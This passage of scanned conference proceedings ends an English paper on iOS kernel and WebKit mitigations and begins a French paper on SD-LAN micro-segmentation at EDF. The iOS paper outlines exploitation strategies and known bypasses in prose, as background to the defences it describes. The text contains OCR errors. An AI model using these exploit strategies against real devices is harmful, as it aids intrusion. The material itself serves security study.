the JiT page, but without PAC it was worthless to protect kernel data, so
we had to wait until the A12 SoC to see PPL in the kernel. PPL is supposed
to protect arbitrary pages against modification by an attacker having an
arbitrary read/write in the kernel and even if they are able to bypass PAC
and execute arbitrary existing code in the kernel.

At first, PPL was only used to protect physical page mapping, some
structures related to code signing (most notably the dynamic trust cache
that contains the hash of all the platform binaries) and to protect platform
binaries against code injection (it’s a little bit more complex than that
but this is the general idea). But since then, and as a lot of Apple security
features, PPL gained a lot more importance.

3.1 Entitlements and Profiles

Starting from iOS 15.0, PPL is used to validate and protect a very
important piece of Apple security systems: profiles and entitlements.

Before iOS 12, hooking a userland daemon, amfid, was enough to
bypass all the signatures and entitlement checks. Apple mitigated that
by checking the executable signature in kernel with CoreTrust which
validates the signature and the certificate chain but doesn’t check the
entitlements and is not able to check all the certificate details (most
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notably its expiration date and revocation status). A simple and effective
way to bypass this was to sign the executables with an expired or revoked
certificate while still hooking amfid to bypass the other checks. Since
iOS 15.0 however, the kernel also checks the profile signature and if the
entitlements requested match the ones authorized in the profile. If there
is no profile, the executable has to be a platform binary or be signed with
the Apple App Store certificate otherwise it is limited to a very restrictive
set of entitlements.

To make sure that the entitlements have not been tampered with after
being validated, they are checked and stored in PPL and all the pointer
chains from the thread to the entitlements are, of course, signed with
dedicated PAC contexts. Last but not least, the entitlement bytes are also
signed with PAC.

One could say that an attacker with an arbitrary kernel read /write will
nevertheless always find a way to get their hands on the data they need,
even without arbitrary entitlements. It is true indeed but it considerably
complicates the development of a useful backdoor.

3.2 RO Zones

As if pointer signature was not enough, Apple introduced read-only
(RO) zomes in iOS 15.2. Several sensitive kernel structures are now allocated
in specific zones protected by PPL. Task credentials, threads exception
ports, sandbox profiles, entitlements or other signature-related elements
now cannot be written without a PPL bypass. That means that it is not
possible anymore to just patch the uid of a process to become root or to
nullify the sandbox pointer to escape the sandbox.

The design is quite robust and Apple blocked the obvious bypasses. To
make sure that RO pointers are not swapped, there is a back reference in
all RO allocations. If the back reference doesn’t match the address where
the RO zone pointer was stored, the kernel panics. Even without this back
reference, type confusions are worthless as the zone id is passed to the PPL
functions and checked against the effective zone id. It is also obviously
not possible to replace a RO zone pointer with a pointer in a read-write
memory or a pointer to another RO zone as the zone id is also checked
when the RO zones are read. The only PPL function used to write in the
RO zones also checks that the address is aligned, that the memcpy will not
overflow, that the source is either on the stack or in another RO zone, so
classic memory corruption vulnerabilities do not apply here as well.
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4 Kernel Mitigations

4.1 Zones Hardening

XNU has a zone allocator. A zone is a set of memory pages used to
allocate a certain type of objects with a fixed size. For example, there is a
zone for mach ports, and making an allocation in this zone using zalloc
will return a pointer to an allocation of the size of an ipc_port structure
in a page containing only ipc_port structures.

This behavior has a side effect in terms of exploitation: exploiting
a use-after-free in a zone was a bit complicated, as an allocation can
only be reused by another allocation of the same type. However, it was
still possible to re-use a whole page of allocations: the page has to be
completely freed, so the kernel garbage collector would potentially reassign
it to another zone.

A first mitigation has been introduced in iOS 13.2: for some critical
kernel objects which are often abused in exploits, such as mach ports,
a call to zone_require is added in functions manipulating such objects.
This function ensures that the object address belongs to the correct zone,
so it is no longer possible to craft a fake object in a random allocation,
or reuse a freed port address in another allocation. However, there is no
check about the address alignment, so it can point in the middle of an
allocation.

To further prevent abuse of the garbage collector, zone sequestration
has been introduced in iOS 14.0. This mechanism ensures that a page
virtual address belonging to a specific zone will never be reused for another
zone. This definitely prevents some use-after-free vulnerabilities from
being exploited. This mitigation is not enabled on all zones by default.
For example, as demonstrated by Ian Beer from Project Zero [5], the
ipc.ports zone was not sequestrated before iOS 15.2. The reason was
that zone_require checks were supposed to prevent a misuse of a fake
port.

Moreover, across the various iOS versions, the number of zones has
been increased, and a bunch of allocations made in the kernel heap now
belong to a specific zone.

Speaking of the kernel heap, before iOS 14, all kalloc allocations
were made in kalloc.x zones depending on their size. For example, a
kalloc(1000) resulted in an allocation in kalloc.1024. Starting from
iOS 14, the heap has been split in 4 different heaps:

— KHEAP_DEFAULT: for kernel objects which do not belong to a

specific zone;
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— KHEAP_KEXT: for allocations made by kexts;

— KHEAP_DATA_BUFFERS: for allocations containing only data,
no pointers are present in this heap;

— KHEAP_TEMP: for allocations done in scope of a thread
(the same thread allocates and frees the pointer). This heap
is no longer present in iOS 15 and has been merged with
KHEAP_DATA_BUFFERS.

This heap separation widely mitigates the ability to spray controlled
data in order to exploit a use-after-free in kalloc.x zones, as user-
controlled allocations with controlled content are now performed in the
KHEAP_DATA_BUFFERS zone.

Furthermore, some interesting objects from an attacker point of view,
such as IPC messages, had their structure change: they were previously
allocated in a standard kalloc.x zone if the supplied size could not fit in
a zone allocation. Starting from iOS 14.2, the userland controlled data is
allocated in the KHEAP_DATA_BUFFERS heap while the original ipc_kmsg
structure is always allocated in the dedicated zone.

Finally, a new mitigation has been added in iOS 15.2: SAD_FENG_SHUT.
Its goal is to randomize zone assignments to one of the 4 general submaps,
so that there is no longer a guaranted zone interleave. This prevents some
OOB exploits relying on this fact or exploits hardcoding a kernel address
targeting a specific zone allocation after having filled the corresponding
zone.

4.2 Critical Port Rights Separation

Historically, there was a unique type of task or thread port, allowing
to use all APIs indifferently (read/write memory, read/write context, etc.).
Starting from iOS 14, there has been a separation in different flavors,
each one with its own port.

In iOS 15.4, the following flavors are defined for a task:

— TASK_FLAVOR_ CONTROL

— TASK_FLAVOR_ READ

— TASK_FLAVOR_ INSPECT

— TASK_ FLAVOR_NAME

Threads have one less flavor:

— THREAD_ FLAVOR_ CONTROL

— THREAD_ FLAVOR_READ

— THREAD_FLAVOR,_ INSPECT

The previous flavors are listed from the most to the least privileged,
and each port gives access to a subset of APIs. For example, using
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the mach_vm_read API requires a TASK_FLAVOR_READ port whereas the
mach_vm_write API requires a TASK_FLAVOR_CONTROL port.

In a fun way, this privilege separation has introduced a regression:
before iOS 14.5, the functions used to convert a port to a task ob-
ject skipped a call to task_conversion_eval when the flavor was not
TASK_FLAVOR_CONTROL. This function ensures that only a platform binary
can resolve the task port of another platform binary. This means that, in
iOS versions between 14.0 and 14.5, a non-platform binary was able to
read the memory space of a platform binary.

iOS 14.5 is also the version where Apple started to set the self task
port and main thread port as immovable, which means that these ports
rights cannot be sent in a mach message. They also introduced port labels,
another mechanism to control who can receive sensitive ports (task and
thread ports but also userland drivers ports for example). This change
mitigates many logical vulnerabilities and exploitation techniques, as it
no longer possible for a service to be exploited to send its self task port
or to legitimately send it to another process.

4.3 Minor Hardening

Since i0S 14, building a tfp0 is a little bit harder. There is an extra
check in convert_port_to_map_with_flavor which ensures that the map
does not directly give access to the kernel pmap.

With the RO zones protecting the cred structure (see subsection 3.2),
passing root with an arbitrary kernel read/write primitive became signifi-
cantly harder. To make that a little bit harder, the kernel was also stripped
of two functionalities: the handling of suid binaries and the suid cred port
support (a deprecated way to spawn process with arbitrary uids thanks to
a port created by a root process with the com.apple.private.suid_cred
entitlement).

5 WebKit

WebKit security has been widely impacted by all the generic PAC
improvements, and there is no public method nowadays to bypass PAC in
a WebKit exploit on iOS 15.x.

However, some WebKit-specific mitigations have also been added. As
stated in our initial publication [7], a usual WebKit exploit consists of the
following steps:

— Trigger a vulnerability to gain addrof and fakeobj primitives;
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— Gain read/write primitives by crafting a fake JavaScript object;
— Gain arbitrary code execution by bypassing the hardware-backed
mitigations (APRR and PAC).
To make the second and third steps harder, new mitigations have been
added.

5.1 Structure ID Randomization

To be able to craft a fake object, an attacker has to build a JSCell
structure. This structure has the following representation in memory:

struct JSC::JSCell {
JSC::StructureID m_structurelD;
JSC::IndexingType m_indexingTypeAndMisc;
JSC::JSType m_type;
JSC::TypeInfo::InlineTypeFlags m_flags;
JSC::CellState m_cellState;

Previously, a StructureID was just an index into an array of
Structure objects. Getting a valid StructureID simply was a matter of
creating N (N being greater than 1000) new different objects and picking
N/2 as a valid StructurelD.

Now, random entropy bits have been added to the StructureID. The
number of bits has changed across time, but it is not possible to predict
them before having gained a read primitive.

For now, each time a Structure has to be accessed, the index is
extracted from the StructurelID, checked against the StructureIDTable
size, then the encodedStructureBits are xored with the lower bits of
the StructureID shifted by the pointer size (48-bits), to finally retrieve a
pointer to a Structure.

The encodings are represented as a comment in WebKit sources [1]:

1. StructurelID is encoded as:

The entropy bits are chosen at random and assigned when a
StructureID is allocated.

2. For each StructureID, the StructurelIDTable stores
encodedStructureBits which are encoded from the structure pointer
as such:

The entropy bits here are the same 5 bits used in the encoding of
the StructureID for this structure entry in the StructureIDTable.
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Bypasses of this mitigation have been made public back in 2019 [10].
The idea is quite simple: building a fake object and using it to gain a
leak or a read primitive without reaching code referencing the underlying
Structure to avoid any bad pointer dereference.

5.2 JIT Instructions Signature

A known method to bypass APRR was to modify the native code
generated by the JIT engine before it is written in the JIT page.

Now, on devices supporting PAC, the generated instructions are signed.
This is performed by computing a new signature for the block of instruc-
tions each time a new instruction is added. Then, when the block has to
be written in the JIT page, the signature is verified. On iOS 14.4, this has
been improved by keeping a signature for each instruction instead of a
unique one for the whole block. Each instruction signature is verified just
before the copy in the JIT page to ensure that no modification can occur.

The signature algorithm makes use of the PACDB instruction. This
implies that, to be able to modify JIT instructions, an attacker needs code
execution to be able to execute PAC instructions to build the signature.

5.3 PAC Exceptions Termination

Back in 2020, a blog post on Project Zero blog described a way to
bypass PAC and APRR by creating infinite loops in the exception handling
code while making another thread try to bruteforce a PAC pointer. This
would allow the main thread to catch the exception in case of an invalid
signature, and resume the thread to try the next value.

This has been mitigated by adding a specific entitlement to the
WebContent process. This entitlement adds the flag TF_PAC_EXC_FATAL to
the kernel task. This flag is involved whenever an exception is handled by
the kernel: if the flag is present and the exception is related to an invalid
PAC pointer (either a data pointer, an instruction pointer or a specific BRK
following a bad pointer authentication), the task will directly exit without
reaching the userland exception handlers.

5.4 Sandbox

Since our previous study, the sandbox has been greatly improved:
— Ability to filter unix syscalls;

— Ability to filter mach syscalls;

— Ability to filter any fentl;
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— Ability to filter any ioctl by their code and file name;

— Ability to filter mach messages by their endpoint name and message
number;

— Ability to filter IOKit methods by their id;

— Support of different states of a process life.

The WebContent sandbox profile is usually where the latest sandbox

improvements appear first, as seen on the WebKit github repository:

— Unix syscalls are all denied, except a subset specifi-
cally required by the process. This subset is divided be-
tween syscall-unix-only-in-use-during-launch and
syscall-unix-in-use-after-launch. When exploiting the
WebContent process, only the latter subset is available to try to
escape the sandbox;

— Mach syscalls are all denied, except a subset specifi-
cally required by the process. This subset is divided be-
tween syscall-mach-only-in-use-during-launch and
syscall-mach-in-use-after-launch. When exploiting the
WebContent process, only the latter subset is available to try to
escape the sandbox;

— only 4 services are accessible from the sandbox and some of them
are restricted (directly via the sandbox or thanks to specific enti-
tlements);

— fnctl are all denied except a subset of less than 20 specifically
required by the process;

— joctl are all denied except 2 and they must be sent to the
/dev/aes_0 device;

— IOKits are all denied.

In i0OS 15.4 (latest available version when writing this article), the

process life states handling is not implemented yet.

6 Conclusion

While public jailbreaks have still been a thing on iOS 14, there are
no known complete jailbreaks for iOS 15 yet (despite public POC giving
kernel read/write primitives). Vulnerabilities that were easily exploited a
few months ago are now completely useless to an attacker.

Apple does a really good job at finding the root cause of vulnerabili-
ties and at mitigating whole classes of bugs and exploit strategies. Post
exploitation is also taken into account, even with powerful primitives,
extracting sensitive data and compromising applications is not simple,
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which gives Apple more time to fix bugs and gives users time to update
their devices. They also do a great job at integrating hardware mitigations:
all attackers fear the day when memory tagging will be implemented in
their SoC. Moreover, this paper didn’t even fully list all the job they did
to improve general iPhone security (the rootfs seal to prevent persistence,
their custom C compiler to mitigate classic memory corruption in the
boot process, the secure storage component used to protect passcodes in
recent iPhones, etc.).

However, powerful vulnerabilities can still be used to attack modern
phones and even if WebKit is strongly sandboxed, the vast majority of
the applications still have access to a huge attack surface in the kernel.
Moreover, Linus Henze has proven [9] that powerful logical vulnerabilities
can bypass even the latest mitigations.

It may become impossible in the near future to fully compromise an
iPhone with a simple web page but it doesn’t mean that the game is over.
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micro-segmentation, vers le zero-trust
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Résumé. Les réseaux locaux chez les opérateurs industriels ont connu
des évolutions importantes dans le passé pour améliorer leur résilience
aux cyber-attaques. Ils sont & présent vus comme des leviers pour lutter
activement contre des menaces sur le systéeme d’information. De nouvelles
technologies, basées sur le SD-LAN et la micro-segmentation, ont été
déployées a EDF et ont permis des gains considérables dans la posture
défensive apres un investissement humain et technique important. Elles
permettent de préparer des évolutions futures vers un systéme implémen-
tant la doctrine Zero Trust au niveau réseau.

Cet article présente les principes du déploiement de solutions de ré-
seaux locaux de nouvelle génération dans le systeme d’information d’un
gros industriel avec de nombreux enjeux de cybersécurité. Apres une
présentation du contexte historique et des enjeux liés aux réseaux lo-
caux, nous présenterons le fonctionnement général des technologies de
SD-LAN disponibles sur le marché. Nous poursuivrons, sur la base du
retour d’expérience de notre déploiement d’une de ces technologies, avec
les leviers a utiliser pour améliorer la sécurité du réseau et les limites de
ces solutions. Enfin, nous aborderons brievement les évolutions envisagées
vers une architecture Zero Trust.

1 Contexte : les réseaux locaux chez un opérateur
industriel

1.1 Historique

Les débuts Comme dans beaucoup d’entreprises similaires, des réseaux
locaux furent massivement déployés chez EDF a partir de la fin des années
1990. A D’époque, la sécurité n’entrait pas en compte dans les exigences :
il fallait connecter les utilisateurs et leur permettre de travailler en réseau.
Le réseau, schématisé sur la figure 1, ressemblait donc a ce qu’on trouverait
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aujourd’hui chez un particulier, le NAT en moins : un réseau de niveau 2, a
plat, étendu sur tout le batiment. Entre autres problémes qui choqueraient
aujourd’hui, on peut citer :
— T’absence de dispositif anti-boucles (un simple mauvais brassage en
salle de réunion pouvait mettre 'ensemble du site & terre) ;
— l’absence de séparation en VLAN ;
— des tailles de sous-réseaux déraisonnables (jusqu’a des /20).

f Ny
. \
Réseau
opérateur A

’
¢ ==

Fig. 1. Réseau a plat sans sécurité

En 2009, le ver Conficker frappa violemment EDF [8] malgré le faible
nombre de machines vulnérables. La raison : nombre de réseaux locaux,
saturés de requétes broadcast, s’écroulerent. La traque des PC infectés dura
plusieurs mois. Cette crise eut raison des réseaux artisanaux de niveau 2,
qui furent résorbés dans le cadre d’un cotlteux projet de renouvellement.

La sécurité devient un besoin L’architecture déployée alors, schéma-
tisée sur la figure 2, était similaire a celle que ’on retrouve aujourd’hui
majoritairement en entreprise :
— des architectures routées qui limitent les tailles de sous-réseaux ;
— une segmentation en VLAN et en VRF pour séparer les fonctions ;
— de nombreuses protections de sécurité active conformément aux
bonnes pratiques [4] :
— contre les boucles (BPDU Guard, Spanning Tree),
— contre les tempétes de broadcast (Storm Control),
— contre "usurpation de services réseau (DHCP snooping, ARP
inspection),
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— contre le DHCP starvation (Port Security),
— etc.

Réseau
opérateur

Interconnexion
des VRF

VLAN bur

VLAN métier

Fig. 2. Réseau routé avec une VRF par besoin

Les besoins de sécurité de ce réseau étaient alors centrés sur la disponi-
bilité : il s’agissait d’assurer une résilience maximale face aux incidents de
sécurité, que la connectivité reste présente et que jamais la crise Conficker
ne se reproduise. Le réseau n’était pas vu comme un levier de sécurité pour
les équipements qui y sont connectés, et la sécurisation des équipements
réseau eux-mémes fut sous-dimensionnée.

En parallele, les autres réseaux présents sur site, jusqu’ici séparés phy-
siquement pour chaque besoin (gestion technique de batiment, controle—
commande, automates industriels. . .) et air-gappés, commencaient a avoir
des besoins d’interconnexion externe. Avec I'arrivée du WiFi et I'intercon-
nexion de ces systemes métier, I’architecture se complexifia pour accueillir
tous ces besoins tout en maintenant une segmentation de sécurité. Cela
nécessita une multiplication des équipements de sécurité, qui a son tour
augmenta les cotits d’exploitation. La figure 3 représente ’architecture
typique qui en découle encore aujourd’hui sur de nombreux sites.
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Attributs
RADIUS
EAP ()
EAP .
e RADIUS

Gontroleur

Attributs

RADIUS / \\\

AP

WPA2
Enterprise

(1)
(supplicant) . Client
(supplicant)

Fig. 4. Schéma de principe du controle d’acces au réseau

Le contréle d’accés au réseau (NAC) L’arrivée du WiFi d’une part,
et les menaces pesant sur le réseau dans des zones parfois insuffisamment
sécurisées physiquement d’autre part, imposerent la mise en place d’une
infrastructure de controle d’acces, schématisée sur la figure 4. Ce controle
d’acces sur la couche 2 est défini, pour les acces filaires, par le protocole
802.1x [5,11], et pour les acces WiFi, par le protocole WPA2-Enterprise [2]
puis WPA3-Enterprise [1]. Il s’appuie sur une authentification EAP [7]
entre le terminal et le point d’acces (commutateur ou controleur WiF1i),
relayée par protocole RADIUS jusqu’a un serveur centralisé dit AAA
(Authentication, Authorization & Accounting).

L’usage du protocole EAP permet une grande flexibilité dans les modes
d’authentification :

— EAP-TLS : authentification par certificat (le mode le plus sécurisé) ;

— EAP-TTLS : authentification par mot de passe ou OTP dans un
tunnel TLS;

— d’autres extensions sont disponibles, comme PEAP, EAP-FAST,
EAP-GTC, LEAP.
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1.2 Enjeux actuels sur les réseaux locaux

Equipements & connecter Avec la généralisation du télétravail, le
terminal bureautique n’est plus au coeur des besoins de sécurité du réseau.
Si ce terminal reste un utilisateur important et guide les besoins en
performance (bande passante, latence, qualité de service), sa sécurité
peut de plus en plus étre rendue indépendante du réseau par 1'usage de
protocoles considérés comme quasi inviolables quand ils sont correctement
configurés (IPsec, TLS).

Dans des bureaux, les autres équipements avec des besoins de connec-
tivité sont typiquement des imprimantes, des équipements multimédia
(écrans, barres de son), des téléphones IP, des systémes de visioconférence
et parfois des équipements plus exotiques : automates de salle de réunion,
éclairage connecté, volets roulants. .. Ces matériels ont une durée de vie
qui dépasse largement celle du support sécurité de leurs systémes embar-
qués, quand ce support existe. Ils sont donc vulnérables a des attaques
latérales et peuvent servir de rebond a un attaquant pour joindre des sys-
temes sensibles, quand ils ne manipulent pas eux-mémes des informations
sensibles.

Avec des risques plus élevés encore, on trouvera les systémes de ges-
tion technique du batiment et de la sécurité physique : contréle d’acces,
vidéosurveillance, controle environnemental. Les systemes de stireté des
personnes (incendie, évacuation, ascenseurs) doivent rester physiquement
isolés.

A tous ces équipements viennent s’ajouter une myriade de capteurs
issus de l'internet des objets (IoT) : capteurs de présence, de température,
de bon fonctionnement des systémes industriels ou tertiaires. .. De plus
en plus, ces capteurs n’ont pas de connectivité IP : ils peuvent utiliser des
réseaux BLE (Bluetooth Low Energy), Zighee, Enocean ou se baser sur
un opérateur LPWAN.

Enfin, en fonction de 1'usage des locaux, on trouvera des systemes
industriels dont il est nécessaire de faciliter I'interconnexion depuis n’im-
porte quel point du batiment, tout en préservant une isolation physique
pour les plus sensibles.

Limites du NAC 1l est aujourd’hui possible de déployer simplement des
certificats sur les terminaux Windows, Linux, Android et iOS, permettant
leur authentification en EAP-TLS sur les infrastructures réseau. Il devient
également possible de protéger ces certificats physiquement, avec un
module TPM2 sur PC ou son équivalent chez certains constructeurs
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de smartphones. Ce n’est pas le cas de I'immense majorité des autres
équipements a connecter.

En WiFi, la quasi-totalité des terminaux supportera, au mieux, une
authentification de type WPA2-PSK, sécurisée par une clé partagée. Cela
a conduit les fournisseurs de matériel WiFi a proposer des technologies
de clés partagées multiples sur un unique SSID, appelées Multiple PSK
ou Dynamic PSK, permettant d’avoir une clé par type d’équipement. La
compromission d’'une clé ne permet donc d’attaquer que les sous-réseaux
qui abritent ces équipements.

En Ethernet, il est tres rare de trouver des éditeurs avec du support
802.1x. Tout acces authentifié au réseau se base donc sur une fonctionnalité
des commutateurs nommeée « authentification MAC ». L’authentification
EAP est remplacée par un unique identifiant qui n’est autre que 'adresse
MAC. Cela revient donc en pratique & supprimer I'authentification pour
la remplacer par un mécanisme extrémement simple a usurper.

Pour ces raisons, 'acces WiFi, jadis considéré comme une vulnérabi-
lité, présente aujourd’hui des risques nettement moins élevés que ’acces
Ethernet au méme réseau local. Cette conclusion a été corroborée par
plusieurs audits.

Menaces La menace la plus fréquente actuellement est la compromission
d’un terminal connecté au réseau local. En effet, les terminaux dispo-
sant d’un acces e-mail ou Internet, qu’il soit direct ou indirect, invité ou
interne, peuvent étre compromis par de nombreuses techniques, la plus
répandue étant le phishing. De plus, notre modele de menace considere
qu’un terminal peut conduire des opérations offensives sans étre totalement
compromis ; par exemple, une attaque de type XSS peut conduire & exé-
cuter du code Javascript malveillant qui va pouvoir tenter des connexions
a d’autres machines sur le réseau interne.

Bien que moins courante, la menace d’introduction d’un équipement
compromis est augmentée par le nombre et la variété des équipements
interconnectés au réseau. Ceci est en particulier vrai pour les équipements
multimédia, dont il existe des dizaines de fournisseurs et dont il est
impossible d’auditer toutes les références.

Pour les systémes les plus critiques, nous utilisons de plus en plus un
modele de menace prenant en compte les attaques hybrides, mélangeant
les menaces cyber et physiques. A ce titre, la gestion du risque doit prendre
en compte simultanément les menaces cyber sur les systemes de sécurité
physique et les menaces physiques sur le réseau. A noter quEDF est
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maitre d’ceuvre du projet européen Praetorian [12], qui vise & mettre en
place des outils d’anticipation et de réaction face a de telles menaces.

2 De nouvelles solutions défensives basées sur la
micro-segmentation

2.1 Le SD-LAN

Les concepts de Fabric et de SDN (Software Defined Network) se
déclinent sur les réseaux locaux en SD-LAN. Selon les constructeurs, on
pourra aussi parler de SD Access, SD Edge ou SD-Branch. Ces architectures
sont basées sur des tunnels permettant de mettre en place des réseaux
logiques, dits overlays, par dessus un réseau physique dit underlay, dont
I’architecture typique est représentée figure 5.

Réseau underlay L’underlay est un réseau de niveau 3 dont la principale
fonction est de fournir une interconnexion fiable entre les équipements qui
constituent le réseau local. Il est routé par un protocole simple (IS-IS ou
OSPF) et ne fournit aucun service aux utilisateurs. L’interconnexion des
équipements avec les réseaux logiques se fait au niveau de certains routeurs,
dits Edge (qui sont des commutateurs d’acces avec des fonctionnalités
SDN) et Border (qui peuvent étre mutualisés avec le coeur de réseau). Les
points d’acces WiFi sont considérés comme faisant partie de I'underlay.

Types d’overlay L’overlay consiste en une encapsulation des protocoles
de niveau 3, voire de niveau 2, pour pouvoir reconstituer des réseaux
virtuels a travers un nombre arbitraire de nceuds du réseau physique.

Les principaux modeles de SD-LAN sont schématisés figure 6. Le

modele proposé par Cisco, imité en cela par Huawei et Extreme Networks,
est basé sur un overlay de type maillé. Celui-ci interconnecte ’ensemble
des nceuds du réseau avec un tunnel multipoint.

— Les routeurs Edge et Border échangent entre eux des informations
sur les équipements présents avec un protocole de contrdle, qui
peut étre EVPN (Ethernet VPN) ou LISP (spécifique Cisco).

— Les paquets de données eux-mémes sont encapsulés dans le proto-
cole VXLAN, qui ajoute au paquet un identifiant de réseau virtuel
(VNI - Virtual Network Identifier) et éventuellement des extensions
propriétaires comme un role. Chez Cisco, ’extension se nomme
SGT (Security Group Tag).
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Autres réseaux
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Fig. 5. Exemple d’architecture réseau Underlay pour un SD-LAN
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— Gréace aux informations échangées sur le plan de controdle, les
paquets du plan de données sont envoyées, par le chemin le plus
court en routage underlay, au routeur qui héberge ’équipement
qui en est destinataire.

Le deuxiéme leader du marché est HPE/Aruba, qui propose a la fois
un overlay VXLAN-EVPN sans extensions propriétaires, mais aussi un
overlay de type hub-and-spoke nommé « segmentation dynamique ». Ce
dernier concentre I’ensemble de la connectivité dans un équipement, le
contréleur de mobilité, qui reprend les fonctionnalités du controleur WiFi.

Dans la segmentation dynamique, chaque équipement d’acces (borne
WiFi ou routeur Edge) ouvre, pour chaque équipement connecté, un tunnel
point-a-point avec le contréleur de mobilité, sur la base du protocole GRE.
Le plan de controle est totalement interne au contréleur de mobilité,
qui gere 'assignation des différents terminaux aux différents VLAN, et
peut leur appliquer des politiques de sécurité avancées avec un pare-feu
transparent intégré.

EDF utilise les deux types d’overlay sur le méme underlay, ce qui
permet de maximiser les fonctionnalités disponibles dans un environne-
ment ou de multiples besoins métier se cotoient. De maniere générale,
I’overlay maillé VXLAN présente une architecture plus élégante et garan-
tissant d’optimiser 'usage des liens sur le réseau local tout en exploitant
I’ensemble des fonctionnalités du routeur Edge. En revanche, la solution
« segmentation dynamique » permet de concentrer des fonctions de sécurité
dans un unique équipement beaucoup plus performant et d’appliquer des
politiques dynamiques qu’il est plus facile de faire évoluer.

2.2 La micro-segmentation

Filtrage Le concept de micro-segmentation, schématisé figure 7, consiste
a introduire des capacités de filtrage internes a un sous-réseau. L’efficacité
du filtrage et la granularité de la matrice de flux sont trés dépendants
de la solution retenue. Concernant le SD-LAN, cette micro-segmentation
est associée a une notion de role utilisateur (en réalité un role associé au
terminal).

— Pour les architectures maillées, le filtrage est nécessairement state-
less. 11 est effectué au niveau de chaque commutateur sous forme
d’ACL dynamiques associées a chaque role. Le role est propagé
avec chaque paquet IP sous forme d’extensions propriétaires au
protocole VXLAN.

— Pour l’architecture hub-and-spoke, le filtrage est effectué par le
controleur qui peut avoir le gros avantage de disposer d’un pare-feu
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Fig. 7. Schéma de principe de la micro-segmentation

de couches 4 a 7 intégré, avec inspection des flux, filtrage stateful
et journalisation.
Dans les deux cas, chaque flux, méme interne a un sous-réseau, doit étre
autorisé par le dispositif de filtrage. De plus, il est possible de concentrer
les terminaux dans un unique sous-réseau de grande taille, privé de ses
fonctionnalités de broadcast.

Gestion des roles Chaque terminal devant étre associé a une matrice de
flux, la gestion de ces flux est dévolue a une infrastructure centralisée. Le
terminal, au moment ou il se connecte, est authentifié (par protocole EAP)
ou identifié (avec son adresse MAC ou une PSK) par l'infrastructure a
travers le point d’acces au réseau, appelé NAD (Network Access Device).
Le serveur AAA fournit donc a ce NAD (point d’acces WiF1i, routeur Edge
ou controleur) toutes les informations nécessaires. En plus d’attributs
standard RADIUS comme le numéro de VLAN, il va retourner, avec des
extensions propriétaires, les informations sur le réle utilisateur.

Selon les constructeurs, le détail du réle, et en particulier la matrice
de flux associée, est descendu par l'outillage d’automatisation sur chaque
équipement ou directement téléchargé sur le serveur AAA. Le listing 1
montre un exemple de role téléchargeable avec micro-segmentation.

netservice SVC-HTTPS tcp list 443
!

netservice SVC-SNMP udp list 161



J. Mouette 271

netservice SVC-SYSLOG udp list 514

!

netdestination NETDEST-SRV-IMP-WINDOWS
host 10.10.42.42

host 10.10.42.43
!

netdestination NETDEST-SRV-IMP-SYSLOG

host 10.14.1.12
|

netdestination NETDEST-SRV-IMP-OUTILLAGE

host 10.14.1.42

1

ip access-list session ACL-SESSION-PRINTERS
alias NETDEST-SRV-IMP-OUTILLAGE user SVC-HTTPS permit
alias NETDEST-SRV-IMP-OUTILLAGE user SVC-SNMP permit
user alias NETDEST-SRV-IMP-SYSLOG SVC-SYSLOG permit

alias NETDEST-SRV-IMP-WINDOWS user tcp 9100 permit
1

user-role cppmrole
vlian 1234
reauthentication-interval 480
access-list session ACL-SESSION-PRINTERS

Listing 1. Exemple de role téléchargeable pour une infrastructure Aruba

2.3 Le profilage d’équipements

Pour les (nombreux) équipements nécessitant une connectivité Ethernet
mais incapables de s’authentifier en 802.1x, les éditeurs de solutions réseau
proposent un mécanisme nommé profiling. Il consiste a détecter, par
son comportement, les caractéristiques d’un terminal afin de pouvoir lui
attribuer un roéle. Le fonctionnement général du profilage est représenté
figure 8.

Le profilage se base sur des sondes étudiant le comportement du
terminal placé dans un sous-réseau dédié, par exemple :

— contenu de la requéte DHCP ;

— interrogation par SNMP ;

— analyse du trafic par NetFlow ;

— agent propriétaire situé sur le terminal ;

— User-Agent des requétes HT'TP ;

— connexion par SSH ou WMI.

Une fois I’équipement profilé, son adresse MAC est enregistrée dans
une base de données interne et les caractéristiques associées peuvent étre
associées & un role. Ainsi, et ¢’est un élément crucial pour la cybersécurité,
le profilage se substitue en réalité a I’identification par adresse MAC et
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Fig. 8. Schéma de principe de lattribution des roles et du profilage

n’apporte pas de sécurité supplémentaire face a un attaquant qui usurperait
des adresses MAC.

3 Sécurité des approches SD-LAN micro-segmentées

3.1 Construire son architecture SD-LAN

A moins d’avoir des besoins assez simples, auquel cas on s’orientera
vers la version managée de ces solutions, les architectures SD-LAN ne sont
pas fournies clés en mains par les éditeurs et vont devoir s’intégrer a un
contexte souvent complexe dans une grande structure.

Protéger ’administration et 1’'underlay Les protocoles de tunneli-
sation sur l'underlay sont assez complexes, aussi on ne s’étonnera pas
d’y trouver, encore récemment, des vulnérabilités tres sérieuses [9]. L’iso-
lation complete de 'underlay de I’ensemble des réseaux accessibles aux
utilisateurs est donc une nécessité absolue. Un pare-feu assurera que seuls
les réseaux dédiés aux administrateurs sont autorisés a se connecter. On
prendra en particulier garde a ne pas rendre accessibles les interfaces de
management des points d’acces et des controleurs WiFi, ce qui veut dire
empécher qu’ils aient des interfaces de niveau 3 dans les VLAN utilisateurs.

De méme, le service AAA dispose de spécifications et de fonctionnalités
trés complexes, et une vulnérabilité exploitable peut avoir des effets
catastrophiques. Aussi il importe de réduire au strict minimum la surface
d’attaque sur ces infrastructures, et de limiter leur acces direct aux seuls
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équipements réseau par leur interface de service. En particulier, on fuira
les fonctionnalités de portail captif proposées par tous les éditeurs; outre
les mauvaises habitudes données aux utilisateurs, elles sont un nid a
vulnérabilités. Il ne devrait rester qu'un canal, indirect, accessible aux
attaquants : le protocole EAP utilisé pour authentifier le terminal. Et méme
ce canal est potentiellement exploitable : une implémentation vulnérable
a Logdj pouvait vraisemblablement étre attaquée en passant une chaine
malveillante dans un argument d’authentification [3].

Définir sa politique d’authentification Les possibilités d’authentifica-
tion sont souvent tres vastes du coté du serveur AAA, et plus limitées du
cOté du terminal. Il est donc nécessaire, d’une part, de réaliser un travail
prenant en compte, conjointement, l'expérience utilisateur et la sécurité
pour définir la solution d’authentification principale. Les limitations fonc-
tionnelles des supplicants (clients EAP) peuvent conduire & des compromis
ou des travaux d’adaptation non triviaux. Les détails comptent : par
exemple, si le client ne vérifie pas correctement la signature du certificat
du serveur AAA, il peut étre vulnérable a une attaque man in the middle
et le modele d’authentification doit en tenir compte.

D’autre part, la politique de sécurité doit étre déclinée sous forme
d’une politique d’acces au réseau, qui décrit quel type d’authentification
est nécessaire pour accéder a quel profil, depuis chaque média d’acces
